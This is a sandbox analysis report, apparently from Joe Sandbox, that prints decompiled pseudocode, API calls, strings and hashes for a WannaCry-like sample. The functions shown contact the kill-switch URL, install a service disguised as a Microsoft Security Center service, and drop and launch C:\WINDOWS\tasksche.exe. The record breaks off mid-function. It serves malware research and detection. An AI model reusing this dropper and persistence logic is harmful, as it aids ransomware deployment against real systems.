Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000008.00000002.987141717.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.987110046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987185845.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987195265.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987209682.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987331168.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987347765.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987402559.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000008.00000002.987141717.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.987110046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987185845.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987195265.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987209682.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987331168.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987347765.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987402559.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32 ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000008.00000002.987141717.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.987110046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987185845.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987195265.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987209682.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987331168.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987347765.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987402559.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA,?,00000000), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA,?,00000000), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile,?,00000000), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle,?,00000000), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00407E2C

Strings

WINDOWS, xrefs: 00407DF2, 00407E0D
C:\%s\%s, xrefs: 00407DFB
CreateProcessA, xrefs: 00407D07
kernel32.dll, xrefs: 00407CEA
WriteFile, xrefs: 00407D1C
tasksche.exe, xrefs: 00407DEA
CloseHandle, xrefs: 00407D29
/i, xrefs: 00407E8D
C:\%s\qeriuwjhrf, xrefs: 00407E12
D, xrefs: 00407ED3
CreateFileA, xrefs: 00407D0F

Memory Dump Source

Source File: 00000008.00000002.987141717.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.987110046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987185845.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987195265.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987209682.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987331168.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987347765.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987402559.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 5716, Parent PID: 7112COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	31

Executed Functions

Function 0040FEF0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 189
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040FEF0(void* __edx, void* __eflags) {
				void* _v8;
				char _v12;
				struct _SYSTEMTIME _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				short _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HBITMAP__* _t43;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t70;
				void* _t76;
				void* _t90;
				void* _t91;
				WCHAR* _t92;
				struct HINSTANCE__* _t94;
				void* _t97;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t115;

				_t90 = __edx;
				E00410E1C(1);
				__imp__OleInitialize(0, _t91, _t98, _t76); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t91, 0x43a820, 0, 0x7002);
				_t105 = _t104 + 0xc;
				_t92 = GetCommandLineW();
				_t108 = _t92;
				if(_t92 != 0) {
					E0040D64B(_t108, _t92);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t92); // executed
					} else {
						_t70 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						_v8 = _t70;
						if(_t70 != 0) {
							_t97 = MapViewOfFile(_t70, 0xf001f, 0, 0, 0x7002);
							_t111 = _t97;
							if(_t97 != 0) {
								E0041C290(0, _t97, 0x7002, 0x43a820, _t97, 0x7002);
								_t105 = _t105 + 0xc;
								 *_t97 = 1;
								E0040D5F7(_t111, 0x43a822);
							}
							UnmapViewOfFile(_t97);
						}
						CloseHandle(_v8);
					}
				}
				GetModuleFileNameW(0, 0x439820, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x439820); // executed
				GetLocalTime( &_v28);
				_push(_v28.wMilliseconds & 0x0000ffff);
				_push(_v28.wSecond & 0x0000ffff);
				_push(_v28.wMinute & 0x0000ffff);
				_push(_v28.wHour & 0x0000ffff);
				_push(_v28.wDay & 0x0000ffff);
				_push(_v28.wMonth & 0x0000ffff);
				E0040BC16( &_v216, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d", _v28.wYear & 0x0000ffff);
				SetEnvironmentVariableW(L"sfxstime",  &_v216);
				_t94 = GetModuleHandleW(0);
				 *0x4335a4 = _t94;
				 *0x4335a8 = _t94; // executed
				_t42 = LoadIconW(_t94, 0x64); // executed
				 *0x43981c = _t42; // executed
				_t43 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t43; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t90, _t103, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t94, L"STARTDLG", 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t94);
				}
				E0040D0FE(0x44ce20);
				_t113 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t94, 0x439820, _t113);
				}
				DeleteObject( *0x43981c);
				_t57 =  *0x439818;
				if(_t57 != 0) {
					DeleteObject(_t57);
				}
				_t115 =  *0x4335ac; // 0x6
				if(_t115 == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t58 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t58);
					CloseHandle( *0x441868);
				}
				_t59 =  *0x441864;
				if(_t59 != 0) {
					Sleep(_t59);
				}
				__imp__OleUninitialize();
				_t60 =  *0x441860;
				if(_t60 > 0) {
					return _t60;
				} else {
					_t61 =  *0x4335ac; // 0x6
					return _t61;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040ffd0
0x0040ffd5
0x0040ffda
0x0040ffdf
0x0040ffe4
0x0040ffe9
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x0041010c
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x0041016f
0x00000000
0x0041016f

APIs

Part of subcall function 00410E1C: GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
Part of subcall function 00410E1C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

OleInitialize.OLE32(00000000), ref: 0040FF06

Part of subcall function 00411F56: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FF16), ref: 00411F67
Part of subcall function 00411F56: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411F7B

_memset.LIBCMT ref: 0040FF22
GetCommandLineW.KERNEL32 ref: 0040FF2A
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FF50
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FF62
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FF8B

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

CloseHandle.KERNEL32(?), ref: 0040FF94
GetModuleFileNameW.KERNEL32(00000000,00439820,00000800), ref: 0040FFAE
SetEnvironmentVariableW.KERNELBASE(sfxname,00439820), ref: 0040FFC0
GetLocalTime.KERNEL32(?), ref: 0040FFC6
_swprintf.LIBCMT ref: 0040FFFD
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00410011
GetModuleHandleW.KERNEL32(00000000), ref: 00410014
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32 ref: 0041009D
DeleteObject.GDI32 ref: 004100FE
DeleteObject.GDI32(?), ref: 0041010A

Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

CloseHandle.KERNEL32(000000FF), ref: 00410147
Sleep.KERNEL32(?), ref: 00410157
OleUninitialize.OLE32 ref: 0041015D

Strings

winrarsfxmappingfile.tmp, xrefs: 0040FF44
p["u k"u, xrefs: 004100F8
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0040FFEF
sfxname, xrefs: 0040FFBB
STARTDLG, xrefs: 0041008F
sfxstime, xrefs: 0041000C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineLocalMappingNameOpenParamProcSleepTimeUninitializeUnmap_memset_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$p["u k"u$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2890863147-793245028
Opcode ID: 1ddd9382914d6fa52142569de5d06a4fe3bb2f6aa8693eda010b04f8f2a78323
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 1ddd9382914d6fa52142569de5d06a4fe3bb2f6aa8693eda010b04f8f2a78323
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 112.7, APIs: 55, Strings: 9, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				void* _t114;
				long _t115;
				long _t116;
				struct HWND__* _t118;
				WCHAR* _t123;
				void* _t127;
				int _t128;
				void* _t145;
				void* _t148;
				WCHAR* _t154;
				signed int _t161;
				struct HWND__* _t164;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HWND__* _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				long _t201;
				void* _t223;
				void* _t225;
				void* _t235;
				void* _t247;
				long _t249;
				long _t250;
				long _t251;
				signed int _t256;
				int _t260;
				int _t262;
				void* _t267;
				void* _t271;
				intOrPtr _t289;
				intOrPtr _t290;
				int _t303;
				long _t308;
				void* _t312;
				struct HWND__* _t316;
				void* _t318;
				void* _t320;
				void* _t325;

				_t325 = __fp0;
				_t299 = __edx;
				_t283 = __ecx;
				E0041A4DC(E004297DB, _t318);
				E0041AAF0(0x9c94);
				_t316 =  *(_t318 + 8);
